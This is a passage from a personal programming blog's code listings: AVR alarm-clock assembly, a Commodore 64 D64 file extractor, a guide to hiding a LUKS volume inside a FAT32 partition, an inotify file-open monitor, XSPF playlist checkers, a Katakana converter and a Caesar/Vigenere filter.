  mov arg1, arg2
  rcall lcd_character

  ret

; -----------------------------------------------------------------------------

; lcd_eeprom_string -- Print string from EEPROM to LCD display.
; IN: arg1 -> Start of EEPROM address.
;     arg2 -> Amount of characters in string.
; OUT: N/A
lcd_eeprom_string:
  push var1
  push var2
  mov var1, arg1
  mov var2, arg2

_lcd_eeprom_string_loop:
  mov arg1, var1
  rcall eeprom_read
  rcall lcd_character
  inc var1 ; Address incremented for every cycle.
  dec var2 ; Will be decremented until zero.
  tst var2
  brne _lcd_eeprom_string_loop

  pop var2
  pop var1
  ret

; =============================================================================
;  KEYPAD INTERFACE
; =============================================================================

; keypad_poll -- Retrive next keypress from keypad.
; IN: N/A
; OUT: arg1 -> Pressed key in ASCII, or 0 if no new key has been pressed.
keypad_poll:
  push var1
  clr arg1

  ; ldi var1, 0b00000100 ; K1
  ; out PORTD, var1
  sbi PORTD, 2 ; K1
  nop ; This NOP is required for correct timing.
  sbic PIND, 1 ; R1
  ldi arg1, '1'
  sbic PIND, 6 ; R2
  ldi arg1, '4'
  sbic PIND, 5 ; R3
  ldi arg1, '7'
  sbic PIND, 3 ; R4
  ldi arg1, '*'
  cbi PORTD, 2 ; K1

  ; ldi var1, 0b00000001 ; K2
  ; out PORTD, var1
  sbi PORTD, 0 ; K2
  nop
  sbic PIND, 1 ; R1
  ldi arg1, '2'
  sbic PIND, 6 ; R2
  ldi arg1, '5'
  sbic PIND, 5 ; R3
  ldi arg1, '8'
  sbic PIND, 3 ; R4
  ldi arg1, '0'
  cbi PORTD, 0 ; K2

  ; ldi var1, 0b00010000 ; K3
  ; out PORTD, var1
  sbi PORTD, 4 ; K3
  nop
  sbic PIND, 1 ; R1
  ldi arg1, '3'
  sbic PIND, 6 ; R2
  ldi arg1, '6'
  sbic PIND, 5 ; R3
  ldi arg1, '9'
  sbic PIND, 3 ; R4
  ldi arg1, '#'
  cbi PORTD, 4 ; K3

  lds var1, _keypad_key_previous
  cp arg1, var1
  brne _keypad_return_new_key
  clr arg1
  pop var1
  ret ; Return 0 to indicate NO new key.

_keypad_return_new_key:
  sts _keypad_key_previous, arg1
  pop var1
  ret

; =============================================================================
;  BUZZER INTERFACE
; =============================================================================

; buzzer_activate -- Start buzzer.
; IN: N/A
; OUT: N/A
buzzer_activate:
  sbi PORTD, 7
  ret

; -----------------------------------------------------------------------------

; buzzer_deactivate -- Stop buzzer.
; IN: N/A
; OUT: N/A
buzzer_deactivate:
  cbi PORTD, 7
  ret

; -----------------------------------------------------------------------------

; buzzer_is_active -- Fetch current status of buzzer (output).
; IN: N/A
; OUT: arg1 -> 1 if active, or 0 if deactivated.
buzzer_is_active:
  ldi arg1, 0
  sbic PORTD, 7
  ldi arg1, 1
  ret

; =============================================================================
;  COMMON ROUTINES
; =============================================================================

; eeprom_read -- Read from EEPROM.
; IN: arg1 -> EEPROM address
; OUT: arg1 -> value
eeprom_read:
  sbic EECR, 1 ; Check if EEPROM is busy.
  rjmp eeprom_read
  out EEARL, arg1 ; Select EEPROM address register.
  ldi arg1, 0
  out EEARH, arg1
  sbi EECR, EERE ; Activate "Read Enable".
  in arg1, EEDR ; Read from data register.
  ret

; -----------------------------------------------------------------------------

; long_delay -- Waste CPU cycles to cause a "long" delay.
; IN: N/A
; OUT: N/A
long_delay:
  push var1
  push var2
_long_delay_loop:
  dec var1
  brne _long_delay_loop
  dec var2
  brne _long_delay_loop
  pop var2
  pop var1
  ret

; -----------------------------------------------------------------------------

; short_delay -- Waste CPU cycles to cause a "short" delay.
; IN: N/A
; OUT: N/A
short_delay:
  push var1
_short_delay_loop:
  dec var1
  brne _short_delay_loop
  pop var1
  ret

; -----------------------------------------------------------------------------

; split_msd_lsd -- Split two digit number into MSD and LSD.
; IN: arg1 -> Two digit number.
; OUT: arg1 -> MSD
;      arg2 -> LSD
split_msd_lsd:
  mov arg2, arg1
  ldi arg1, -1
_split_msd_lsd_positive:
  inc arg1
  subi arg2, 10
  brpl _split_msd_lsd_positive
  subi arg2, -10 ; Actually same as "addi arg1, 10", which does not exist.
  ret

; -----------------------------------------------------------------------------

; convert_to_lsd -- Convert LSD to MSD.
; IN: arg1 -> LSD
; OUT: arg1 -> MSD
convert_to_msd:
  push var1
  mov var1, arg1
_convert_to_msd_loop:
  cpi var1, 0
  breq _convert_to_msd_done
  subi arg1, -9
  dec var1
  rjmp _convert_to_msd_loop
_convert_to_msd_done:
  pop var1
  ret

; =============================================================================
;  INTERRUPT ROUTINES
; =============================================================================

; timer1_interrupt -- Updates clock (second/minute/hour) counters.
; IN: N/A
; OUT: N/A
timer1_interrupt:
  inc second
  ldi intvar, 60
  cp second, intvar
  brlt _timer1_check_alarm
  clr second
  inc minute
  cp minute, intvar
  brlt _timer1_check_alarm
  clr minute
  inc hour
  ldi intvar, 24
  cp hour, intvar
  brlt _timer1_check_alarm
  clr hour

_timer1_check_alarm:
  tst alarm_active
  breq _timer1_done

  cp alarm_hour, hour
  brne _timer1_done
  cp alarm_minute, minute
  brne _timer1_done

  ; Clear alarm active bit, to prevent triggering again.
  clr intvar
  mov alarm_active, intvar

  ; Set port directly, since buzzer_activate cannot be called from interrupt.
  sbi PORTD, 7

_timer1_done:
  reti
          


Topic: Scripts and Code, by Kjetil @ 07/08-2016, Article Link

D64 PRG Dumper

Maybe such a program already exists, but I do not know of any, so I made my own. This program scans a D64 file, which is a disk image typically used by Commodore 64 emulators, and attempts to extract all programs (PRG files) from it.

Take a look:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <limits.h>
#include <errno.h>
#include <ctype.h>

#define SECTOR_SIZE 256
#define FIRST_DIR_TRACK 18
#define FIRST_DIR_SECTOR 1
#define DIR_ENTRIES_PER_SECTOR 8
#define FILE_NAME_SIZE 16

#pragma pack(1)
typedef struct dir_entry_s {
  uint8_t next_dir_track;
  uint8_t next_dir_sector;
  uint8_t file_type;
  uint8_t first_file_track;
  uint8_t first_file_sector;
  uint8_t petscii_file_name[FILE_NAME_SIZE];
  uint8_t extra[11]; /* Unused by this program. */
} dir_entry_t;
#pragma pack()

static int byte_offset(int track_no, int sector_no)
{
  int offset = 0;

  while (track_no-- > 0) {
    if (track_no >= 31) {
      offset += 17;
    } else if (track_no >= 25) {
      offset += 18; 
    } else if (track_no >= 18) {
      offset += 19;
    } else if (track_no >= 1) {
      offset += 21;
    }
  }

  return (offset + sector_no) * SECTOR_SIZE;
}

static void dump_program(FILE *d64, char *name, int first_track, int first_sector)
{
  uint8_t file_track, file_sector;
  uint8_t data[254];
  int size, saved = 0;
  char path[PATH_MAX];
  FILE *prg;

  snprintf(path, PATH_MAX, "%s.prg", name);
  prg = fopen(path, "wbx");
  if (prg == NULL) {
    fprintf(stderr, "Warning: fopen(%s) failed: %s\n", path, strerror(errno));
    return;
  }

  file_track = first_track;
  file_sector = first_sector;
  do {
    if (fseek(d64, byte_offset(file_track, file_sector), SEEK_SET) == -1) {
      fprintf(stderr, "Warning: fseek(%d,%d) failed: %s\n", file_track, file_sector, strerror(errno));
      fclose(prg);
      return;
    }

    size =  fread(&file_track, sizeof(uint8_t), 1, d64);
    size += fread(&file_sector, sizeof(uint8_t), 1, d64);
    size += fread(&data, sizeof(uint8_t), 254, d64);
    if (size != SECTOR_SIZE) {
      fprintf(stderr, "Warning: fread() read less than a sector for program: \"%s\"\n", name);
      fclose(prg);
      return;
    }

    saved += fwrite(&data, sizeof(uint8_t), 254, prg);

    /* NOTE: No protection against circular references. */
  } while (file_track != 0);

  printf("Extracted: \"%s\" (%d bytes)\n", name, saved);
  fclose(prg);
}

int main(int argc, char *argv[])
{
  FILE *d64;
  int i, n, size;
  uint8_t dir_track, dir_sector, petscii;
  char ascii_name[FILE_NAME_SIZE + 1];
  dir_entry_t de[DIR_ENTRIES_PER_SECTOR];

  if (argc != 2) {
    fprintf(stderr, "Usage: %s <d64 image>\n", argv[0]);
    return 1;
  }

  d64 = fopen(argv[1], "rb");
  if (d64 == NULL) {
    fprintf(stderr, "Error: fopen(%s) failed: %s\n", argv[1], strerror(errno));
    return 1;
  }

  /* Traverse directory entries: */
  dir_track = FIRST_DIR_TRACK;
  dir_sector = FIRST_DIR_SECTOR;
  do {
    if (fseek(d64, byte_offset(dir_track, dir_sector), SEEK_SET) == -1) {
      fprintf(stderr, "Error: fseek(%d,%d) failed: %s\n", dir_track, dir_sector, strerror(errno));
      return 1;
    }
    size = fread(&de[0], sizeof(dir_entry_t), DIR_ENTRIES_PER_SECTOR, d64);
    if (size != DIR_ENTRIES_PER_SECTOR) {
      fprintf(stderr, "Error: fread() read less than a sector for directory entry\n");
      return 1;
    }

    for (i = 0; i < DIR_ENTRIES_PER_SECTOR; i++) {
      /* Only extract if PRG type, meaning bit 2 is set: */
      if ((de[i].file_type & 0x2) == 0)
        continue;

      /* Convert file name from PETSCII to ASCII: */
      memset(ascii_name, '\0', FILE_NAME_SIZE + 1);
      for (n = 0; n < FILE_NAME_SIZE; n++) {
        petscii = de[i].petscii_file_name[n];
        if (petscii == 0xA0) /* Padding, end of name. */
          break;
        if (isalnum(petscii)) {
          ascii_name[n] = tolower(petscii);
        } else if (petscii == ' ') {
          ascii_name[n] = '_';
        } else {
          ascii_name[n] = '.';
        }
      }

      /* Dump the program unless 0: */
      if (de[i].first_file_track == 0)
        continue;
      dump_program(d64, ascii_name, de[i].first_file_track, de[i].first_file_sector);
    }

    dir_track = de[0].next_dir_track;
    dir_sector = de[0].next_dir_sector;

    /* NOTE: No protection against circular references. */
  } while (dir_track != 0);

  fclose(d64);
  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 12/05-2016, Article Link

LUKS Hidden by FAT32

Here is a trick to hide the existence of an encrypted LUKS partition on a disk, by offsetting it into the "data region" of a FAT32 partition. When the disk is inserted on Windows, it will simply show up as an regular empty drive. Putting data on it when mounted as a FAT32 (e.g. on Windows) will most likely destroy the encrypted information.

To find the data region of a FAT32 partition, I have developed this tool based on earlier work on VBRs:

#include <stdio.h>
#include <stdint.h>

#pragma pack(1)
typedef struct vbr_s {
  uint8_t jump_code[3];
  char oem_id[8];
  uint16_t bytes_per_sector;
  uint8_t sectors_per_cluster;
  uint16_t reserved_sectors;
  uint8_t no_of_fats;
  uint16_t root_entries;
  uint16_t small_sectors;
  uint8_t media_descriptor;
  uint16_t sectors_per_fat;
  uint16_t sectors_per_track;
  uint16_t heads;
  uint32_t hidden_sectors;
  uint32_t large_sectors;
  uint8_t physical_drive_number;
  uint8_t current_head;
  uint8_t signature;
  uint32_t id;
  char volume_label[11];
  char system_id[8];
  uint8_t boot_code[448];
  uint16_t boot_record_signature;
} vbr_t;
#pragma pack()

int main(int argc, char *argv[])
{
  FILE *fh;
  int bytes;
  uint8_t sector[512];
  vbr_t *vbr;

  int root_dir_sectors;
  int fat_part;
  int fat_size;
  int first_data_sector;

  if (argc != 2) {
    fprintf(stderr, "Usage: %s <device>\n", argv[0]);
    return 1;
  }

  fh = fopen(argv[1], "rb");
  if (fh == NULL) {
    fprintf(stderr, "Error: Unable to open device for reading.\n");
    return 1;
  }

  bytes = fread(&sector, sizeof(uint8_t), 512, fh);
  fclose(fh);

  if (bytes < 512) {
    fprintf(stderr, "Error: File is less than 512 bytes.\n");
    return 1;
  }

  vbr = (vbr_t *)&sector[0];

  if (vbr->bytes_per_sector == 0 ||
      vbr->sectors_per_cluster == 0 ||
      vbr->no_of_fats == 0) {
    fprintf(stderr, "Error: Invalid boot record.\n");
    return 1;
  }

  root_dir_sectors = ((vbr->root_entries * 32) + 
    (vbr->bytes_per_sector - 1)) /
     vbr->bytes_per_sector;

  fat_part = ((256 * vbr->sectors_per_cluster) + vbr->no_of_fats) / 2;

  fat_size = ((vbr->large_sectors -
              (vbr->reserved_sectors +
               root_dir_sectors)) + (fat_part - 1)) / fat_part;

  first_data_sector = vbr->reserved_sectors +
                     (vbr->no_of_fats * fat_size) + 
                      root_dir_sectors;

  printf("%d\n", first_data_sector * vbr->bytes_per_sector);
  return 0;
}
          


Here are step by step instructions on creating it all:
(Assuming the tool mentioned above is compiled as "fds" and available.)

fdisk /dev/sdd # Create one single large FAT32 partition (0xb) as /dev/sdd1.
mkfs.vfat /dev/sdd1
losetup -o `./fds /dev/sdd1` /dev/loop0 /dev/sdd1
cryptsetup -v luksFormat /dev/loop0
cryptsetup luksOpen /dev/loop0 luks
mkfs.ext2 /dev/mapper/luks
cryptsetup luksClose luks
losetup -d /dev/loop0
          


Mounting the hidden LUKS partition later on:

losetup -o `./fds /dev/sdd1` /dev/loop0 /dev/sdd1
cryptsetup luksOpen /dev/loop0 luks
mount /dev/mapper/luks /mnt/luks
          


And unmounting it:

umount /mnt/luks
cryptsetup luksClose luks
losetup -d /dev/loop0
          


It may be possible to further hide the existence on the LUKS partition by also placing the LUKS header elsewhere, as is allegedly supported in newer versions of the "cryptsetup" tool.

Topic: Scripts and Code, by Kjetil @ 01/03-2016, Article Link

Monitoring File Open in a Directory

Here is part of an experiment I have been working on. I did not find any use for this (yet), but the method is worth considering. The following program uses the Linux kernel's "inotify" mechanism to print a message whenever a file is opened in a specific directory.

Have a look:

#include <dirent.h>
#include <errno.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#define WATCH_FILES_MAX 256

typedef struct watch_s {
  int wd;
  char file[PATH_MAX];
} watch_t;

static watch_t watch[WATCH_FILES_MAX];
static int watch_n = 0;
static int ifd;

static int watch_files(char *dir)
{
  struct dirent *entry;
  struct stat st;
  DIR *dh;
  char path[PATH_MAX];

  ifd = inotify_init();
  if (ifd == -1) {
    fprintf(stderr, "inotify_init() failed: %s\n", strerror(errno));
    return -1;
  }

  dh = opendir(dir);
  if (dh == NULL) {
    fprintf(stderr, "opendir(%s) failed: %s\n", dir, strerror(errno));
    return -1;
  }

  watch_n = 0;
  while ((entry = readdir(dh))) {
    if (entry->d_name[0] == '.')
      continue;

    snprintf(path, PATH_MAX, "%s/%s", dir, entry->d_name);

    if (stat(path, &st) == -1) {
      fprintf(stderr, "stat(%s) failed: %s\n", path, strerror(errno));
      closedir(dh);
      return -1;
    }

    if (S_ISREG(st.st_mode)) {
      watch[watch_n].wd = inotify_add_watch(ifd, path, IN_OPEN);
      if (watch[watch_n].wd == -1) {
        fprintf(stderr, "inotify_add_watch(%s) failed: %s\n", path, strerror(errno));
        closedir(dh);
        return -1;
      }

      strncpy(watch[watch_n].file, entry->d_name, PATH_MAX);
      fprintf(stderr, "Watching: %s\n", entry->d_name);

      watch_n++;
      if (watch_n >= WATCH_FILES_MAX) {
        fprintf(stderr, "Max files reached, skipping the rest!\n");
        break;
      }
    }
  }

  closedir(dh);
  return 0;
}

int main(int argc, char *argv[])
{
  struct inotify_event iev;
  time_t now;
  int i;

  if (argc != 2) {
    fprintf(stderr, "Usage: %s <watch directory>\n", argv[0]);
    return 1;
  }

  if (watch_files(argv[1]) != 0) {
    return 1;
  }

  setlinebuf(stdout);

  while (1) {
    if (read(ifd, &iev, sizeof(struct inotify_event)) > 0) {
      for (i = 0; i < watch_n; i++) {
        if (iev.wd == watch[i].wd) {
          time(&now);
          fprintf(stdout, "%s @ %s", watch[i].file, ctime(&now));
        }
      }
    }
  }

  /* NOTE: No file descriptors explicitly closed. */
  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 09/01-2016, Article Link

XSPF Coverage Dump

Here is an alternative XSPF coverage check program, based on concepts from the previous one. This script will dump all files in a directory structure, color coded by reference from one or more XSPF playlists. This makes it easy to see which files are included in any playlists, and if they are included more than once.

Take a look:

#!/usr/bin/python

import xml.dom.minidom
import re
import os
import getopt

xspf_files = dict()
fs_files = list()

def print_usage(progname):
    print "Usage: %s [options] <directory> <xspf file> ... <xspf file>" % (progname)
    print "Options:"
    print "  -c   No ANSI color coding"
    print "  -n   No count prefix"

def xspf_parse(playlist_filename, handler):
    xml_data = xml.dom.minidom.parse(playlist_filename)
    for playlist in xml_data.getElementsByTagName("playlist"):
        for tracklist in playlist.getElementsByTagName("trackList"):
            for track in tracklist.getElementsByTagName("track"):
                for location in track.getElementsByTagName("location"):
                    data = re.sub("%([0-9a-fA-F]{2})", \
                        lambda x: chr(int(x.group(1), 16)), \
                        location.firstChild.data.encode("utf-8"))
                    track_filename = data.decode("utf-8").replace("file://", "")
                    handler(playlist_filename, track_filename)

def add_xspf_file(playlist_filename, track_filename):
    if not track_filename in xspf_files:
        xspf_files[track_filename] = list()
    xspf_files[track_filename].append(playlist_filename)

if __name__ == "__main__":
    import sys

    try:
        opts, args = getopt.getopt(filter(None, sys.argv[1:]), "hcn", ["help", "no-color", "no-count"])
    except getopt.GetoptError as err:
        print str(err)
        print_usage(sys.argv[0])
        sys.exit(1)

    if len(args) < 2:
        print_usage(sys.argv[0])
        sys.exit(1)

    print_color = True
    print_count = True
    for o, a in opts:
        if o in ("-h", "--help"):
            print_usage(sys.argv[0])
            sys.exit(1)
        elif o in ("-c", "--no-color"):
            print_color = False
        elif o in ("-n", "--no-count"):
            print_count = False

    for filename in args[1:]:
        xspf_parse(filename, add_xspf_file)

    for root, dirs, files in os.walk(args[0]):
        for filename in files:
            fs_files.append(os.path.join(root, filename).decode("iso-8859-1"))

    for fs_file in sorted(fs_files):
        if fs_file in xspf_files:
            count = len(xspf_files[fs_file])
            if count > 1:
                if print_count:
                    sys.stdout.write("%d " % (count))
                if print_color:
                    sys.stdout.write("\x1B[32;1m")
                sys.stdout.write(fs_file.encode("iso-8859-1"))
                if print_color:
                    sys.stdout.write("\x1B[0m")
                sys.stdout.write("\n")

            else:
                if print_count:
                    sys.stdout.write("1 ")
                if print_color:
                    sys.stdout.write("\x1B[32m")
                sys.stdout.write(fs_file.encode("iso-8859-1"))
                if print_color:
                    sys.stdout.write("\x1B[0m")
                sys.stdout.write("\n")

        else:
            if print_count:
                sys.stdout.write("0 ")
            sys.stdout.write(fs_file.encode("iso-8859-1"))
            sys.stdout.write("\n")

    sys.exit(0)
          


Topic: Scripts and Code, by Kjetil @ 03/10-2015, Article Link

Katakana to ASCII Converter

The Japanese writing system of Katakana is typically used to represent text from foreign languages. This means it's possible to translate it directly, and still be able to understand some of the meaning.

So, I made this C-based filter to convert UTF-8 based Katakana text to ASCII, take a look:

#include <stdio.h>

typedef struct unicode_s {
  int code;
  char text[3];
} unicode_t;

#define KATAKANA_SIZE 96

static unicode_t katakana[KATAKANA_SIZE] = {
  {0x30A0, "="},   {0x30A1, "a"},   {0x30A2, "a"},   {0x30A3, "i"},
  {0x30A4, "i"},   {0x30A5, "u"},   {0x30A6, "u"},   {0x30A7, "e"},
  {0x30A8, "e"},   {0x30A9, "o"},   {0x30AA, "o"},   {0x30AB, "ka"},
  {0x30AC, "ga"},  {0x30AD, "ki"},  {0x30AE, "gi"},  {0x30AF, "ku"},

  {0x30B0, "gu"},  {0x30B1, "ke"},  {0x30B2, "ge"},  {0x30B3, "ko"},
  {0x30B4, "go"},  {0x30B5, "sa"},  {0x30B6, "za"},  {0x30B7, "shi"},
  {0x30B8, "ji"},  {0x30B9, "su"},  {0x30BA, "zu"},  {0x30BB, "se"},
  {0x30BC, "ze"},  {0x30BD, "so"},  {0x30BE, "zo"},  {0x30BF, "ta"},

  {0x30C0, "da"},  {0x30C1, "chi"}, {0x30C2, "di"},  {0x30C3, "tsu"},
  {0x30C4, "tsu"}, {0x30C5, "dzu"}, {0x30C6, "te"},  {0x30C7, "de"},
  {0x30C8, "to"},  {0x30C9, "do"},  {0x30CA, "na"},  {0x30CB, "ni"},
  {0x30CC, "nu"},  {0x30CD, "ne"},  {0x30CE, "no"},  {0x30CF, "ha"},
   
  {0x30D0, "ba"},  {0x30D1, "pa"},  {0x30D2, "hi"},  {0x30D3, "bi"},
  {0x30D4, "pi"},  {0x30D5, "fu"},  {0x30D6, "bu"},  {0x30D7, "pu"},
  {0x30D8, "he"},  {0x30D9, "be"},  {0x30DA, "pe"},  {0x30DB, "ho"},
  {0x30DC, "bo"},  {0x30DD, "po"},  {0x30DE, "ma"},  {0x30DF, "mi"},
   
  {0x30E0, "mu"},  {0x30E1, "me"},  {0x30E2, "mo"},  {0x30E3, "ya"},
  {0x30E4, "ya"},  {0x30E5, "yu"},  {0x30E6, "yu"},  {0x30E7, "yo"},
  {0x30E8, "yo"},  {0x30E9, "ra"},  {0x30EA, "ri"},  {0x30EB, "ru"},
  {0x30EC, "re"},  {0x30ED, "ro"},  {0x30EE, "wa"},  {0x30EF, "wa"},

  {0x30F0, "wi"},  {0x30F1, "we"},  {0x30F2, "wo"},  {0x30F3, "n"},
  {0x30F4, "vu"},  {0x30F5, "ka"},  {0x30F6, "ke"},  {0x30F7, "va"},
  {0x30F8, "vi"},  {0x30F9, "ve"},  {0x30FA, "vo"},  {0x30FB, "."},
  {0x30FC, "-"},   {0x30FD, ","},   {0x30FE, ","},   {0x30FF, "|"},
};

static int multibyte_len(unsigned char byte)
{
  if (byte & 0x80) {
    if (byte & 0x40) {
      if (byte & 0x20) {
        if (byte & 0x10) {
          if (byte & 0x8) {
            if (byte & 0x4) {
              if (byte & 0x2) {
                if (byte & 0x1) {
                  return 8;
                } else { return 7; }
              } else { return 6; }
            } else { return 5; }
          } else { return 4; }
        } else { return 3; }
      } else { return 2; }
    } else { return 1; }
  } else { return 0; }
}

static int multibyte_data(unsigned char byte)
{
  if (byte & 0x80) {
    if (byte & 0x40) {
      if (byte & 0x20) {
        if (byte & 0x10) {
          if (byte & 0x8) {
            if (byte & 0x4) {
              if (byte & 0x2) {
                if (byte & 0x1) {
                  return -1;
                } else { return -1; }
              } else { return byte & 0x1; }
            } else { return byte & 0x3; }
          } else { return byte & 0x7; }
        } else { return byte & 0xf; }
      } else { return byte & 0x1f; }
    } else { return byte & 0x3f; }
  } else { return -1; }
}

static char *katakana_to_ascii(int unicode)
{
  int i;
  for (i = 0; i < KATAKANA_SIZE; i++) {
    if (katakana[i].code == unicode) {
      return katakana[i].text;
    }
  }
  return "?";
}

int main(void)
{
  int c, in_utf8, len, unicode;

  in_utf8 = 0;
  while ((c = fgetc(stdin)) != EOF) {
    if (c & 0x80) { /* If multibyte character... */
      if (in_utf8) {
        unicode = unicode << (7 - multibyte_len(c)); /* Shift existing... */
        unicode = unicode | multibyte_data(c); /* ...then add new bits. */
        len--;
        if (len <= 0) {
          fputs(katakana_to_ascii(unicode), stdout);
          in_utf8 = 0;
        }

      } else {
        in_utf8 = 1;
        len = multibyte_len(c) - 1; /* More multibytes to read. */
        unicode = multibyte_data(c);
      }

    } else {
      in_utf8 = 0;
      fputc(c, stdout);
    }
  }

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 06/07-2015, Article Link

Shift Encryption Filter

Here is a re-implementation of a couple of programs I made around 10 years ago. It's a standard in/out filter that performs simple shift encryption, of the Caesar or Vigenere variants.

It supports both text and binary mode. Text mode only operates on A to Z, while binary mode operates on the whole 8-bit range of a character byte.

Take a look at the code and compile it:

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

typedef enum {
  CIPHER_NONE,
  CIPHER_CAESAR,
  CIPHER_VIGENERE,
} cipher_t;

typedef enum {
  MODE_NONE,
  MODE_TEXT,
  MODE_BINARY,
} mode_t;

typedef enum {
  DIRECTION_NONE,
  DIRECTION_ENCRYPT,
  DIRECTION_DECRYPT,
} direction_t;

static inline int binary_shift(int c, int n)
{
  c += n;
  if (c > 255) {
    c -= 256;
  }
  return c;
}

static inline int binary_unshift(int c, int n)
{
  c -= n;
  if (c < 0) {
    c += 256;
  }
  return c;
}

static inline int text_shift(int c, int n)
{
  if (c >= 65 && c <= 90) {
    c += n;
    if (c > 90)
      c -= 26;
  }
  if (c >= 97 && c <= 122) {
    c += n;
    if (c > 122)
      c -= 26;
  }
  return c;
}

static inline int text_unshift(int c, int n)
{
  if (c >= 65 && c <= 90) {
    c -= n;
    if (c < 65) 
      c += 26;
  }
  if (c >= 97 && c <= 122) {
    c -= n;
    if (c < 97) 
      c += 26;
  }
  return c;
}

static void caesar_filter(int shift_amount, mode_t mode, direction_t direction)
{
  int c;

  while ((c = fgetc(stdin)) != EOF) {
    if (mode == MODE_TEXT) {
      if (direction == DIRECTION_ENCRYPT) {
        c = text_shift(c, shift_amount);
        
      } else { /* DIRECTION_DECRYPT */
        c = text_unshift(c, shift_amount);
      }

    } else { /* MODE_BINARY */
      if (direction == DIRECTION_ENCRYPT) {
        c = binary_shift(c, shift_amount);

      } else { /* DIRECTION_DECRYPT */
        c = binary_unshift(c, shift_amount);
      }
    }
    fputc(c, stdout);
  }
}

static void vigenere_filter(char *key, mode_t mode, direction_t direction)
{
  int c;
  char *p;

  p = &key[0];

  while ((c = fgetc(stdin)) != EOF) {
    if (mode == MODE_TEXT) {
      if (direction == DIRECTION_ENCRYPT) {
        c = text_shift(c, *p - 97);
        
      } else { /* DIRECTION_DECRYPT */
        c = text_unshift(c, *p - 97);
      }

    } else { /* MODE_BINARY */
      if (direction == DIRECTION_ENCRYPT) {
        c = binary_shift(c, *p - 97);

      } else { /* DIRECTION_DECRYPT */
        c = binary_unshift(c, *p - 97);
      }
    }
    fputc(c, stdout);

    p++;
    if (*p == '\0')
      p = &key[0];
  }
}

static void display_help(char *progname)
{
  fprintf(stderr, "Usage: %s <options>\n", progname);
  fprintf(stderr, "Options:\n"
     "  -h        Display this help and exit.\n"
     "  -c SHIFT  Use Caesar cipher, with SHIFT.\n"
     "  -v KEY    Use Vigenere cipher, with KEY.\n"
     "  -t        Text mode. (Operate on 'a-z' and 'A-Z' only.)\n"
     "  -b        Binary mode. (Operate on 0-255 byte range.)\n"
     "  -e        Encrypt. (Forward shift.)\n"
     "  -d        Decrypt. (Reverse shift.)\n"
     "\n");
}

int main(int argc, char *argv[])
{
  int c;
  mode_t mode = MODE_NONE;
  cipher_t cipher = CIPHER_NONE;
  direction_t direction = DIRECTION_NONE;
  char *vigenere_key = NULL;
  int caesar_shift = 0;

  while ((c = getopt(argc, argv, "hc:v:tbed")) != -1) {
    switch (c) {
    case 'h':
      display_help(argv[0]);
      return EXIT_SUCCESS;

    case 'c':
      cipher = CIPHER_CAESAR;
      caesar_shift = atoi(optarg);
      break;

    case 'v':
      cipher = CIPHER_VIGENERE;
      vigenere_key = optarg;
      break;

    case 't':
      mode = MODE_TEXT;
      break;

    case 'b':
      mode = MODE_BINARY;
      break;

    case 'e':
      direction = DIRECTION_ENCRYPT;
      break;

    case 'd':
      direction = DIRECTION_DECRYPT;
      break;

    case '?':
    default:
      display_help(argv[0]);
      return EXIT_FAILURE;
    }
  }

  if (mode == MODE_NONE) {
    fprintf(stderr, "Error: Specify text or binary mode.\n");
    display_help(argv[0]);
    return EXIT_FAILURE;
  }

  if (direction == DIRECTION_NONE) {
    fprintf(stderr, "Error: Specify encryption or decryption.\n");
    display_help(argv[0]);
    return EXIT_FAILURE;
  }

  switch (cipher) {
  case CIPHER_CAESAR:
    caesar_filter(caesar_shift, mode, direction);
    break;

  case CIPHER_VIGENERE:
    vigenere_filter(vigenere_key, mode, direction);
    break;

  default:
    fprintf(stderr, "Error: Specify a cipher to use.\n");
    display_help(argv[0]);
    return EXIT_FAILURE;
  }

  return EXIT_SUCCESS;
}
          


Topic: Scripts and Code, by Kjetil @ 03/05-2015, Article Link

XSPF Coverage and Duplication Check

Two new XSPF playlist use cases has come to mind. Checking for duplicate file references across playlists and checking for coverage. By coverage, I mean checking if all files within a directory structure is actually referenced by the playlist(s).

Both scripts are based on the XSPF integrity check script I made earlier, and the same parser is used.

Script for duplication check:

#!/usr/bin/python

import xml.dom.minidom
import re
import os.path

xspf_files = dict()

def xspf_parse(playlist_filename, handler):
    xml_data = xml.dom.minidom.parse(playlist_filename)
    for playlist in xml_data.getElementsByTagName("playlist"):
        for tracklist in playlist.getElementsByTagName("trackList"):
            for track in tracklist.getElementsByTagName("track"):
                for location in track.getElementsByTagName("location"):
                    data = re.sub("%([0-9a-fA-F]{2})", \
                        lambda x: chr(int(x.group(1), 16)), \
                        location.firstChild.data.encode("utf-8"))
                    track_filename = data.decode("utf-8").replace("file://", "")
                    handler(playlist_filename, track_filename)

def file_check(playlist_filename, track_filename):
    if track_filename in xspf_files:
        print track_filename, "-->", xspf_files[track_filename], "&", playlist_filename
    else:
        xspf_files[track_filename] = playlist_filename

if __name__ == "__main__":
    import sys

    if len(sys.argv) < 2:
        print "Usage: %s <xspf file> ... <xspf file>" % (sys.argv[0])
        sys.exit(1)

    for filename in sys.argv[1:]:
        xspf_parse(filename, file_check)

    sys.exit(0)
          


Script for coverage check:

#!/usr/bin/python

import xml.dom.minidom
import re
import os

xspf_files = set()
fs_files = set()

def xspf_parse(playlist_filename, handler):
    xml_data = xml.dom.minidom.parse(playlist_filename)
    for playlist in xml_data.getElementsByTagName("playlist"):
        for tracklist in playlist.getElementsByTagName("trackList"):
            for track in tracklist.getElementsByTagName("track"):
                for location in track.getElementsByTagName("location"):
                    data = re.sub("%([0-9a-fA-F]{2})", \
                        lambda x: chr(int(x.group(1), 16)), \
                        location.firstChild.data.encode("utf-8"))
                    track_filename = data.decode("utf-8").replace("file://", "")
                    handler(playlist_filename, track_filename)

def add_xspf_file(playlist_filename, track_filename):
    xspf_files.add(track_filename)

if __name__ == "__main__":
    import sys

    if len(sys.argv) < 3:
        print "Usage: %s <directory> <xspf file> ... <xspf file>" % (sys.argv[0])
        sys.exit(1)

    for root, dirs, files in os.walk(sys.argv[1]):
        for filename in files:
            fs_files.add(os.path.join(root, filename).decode("iso-8859-1"))

    for filename in sys.argv[2:]:
        xspf_parse(filename, add_xspf_file)

    fs_covered = float(len(fs_files.intersection(xspf_files)))
    fs_total = float(len(fs_files))
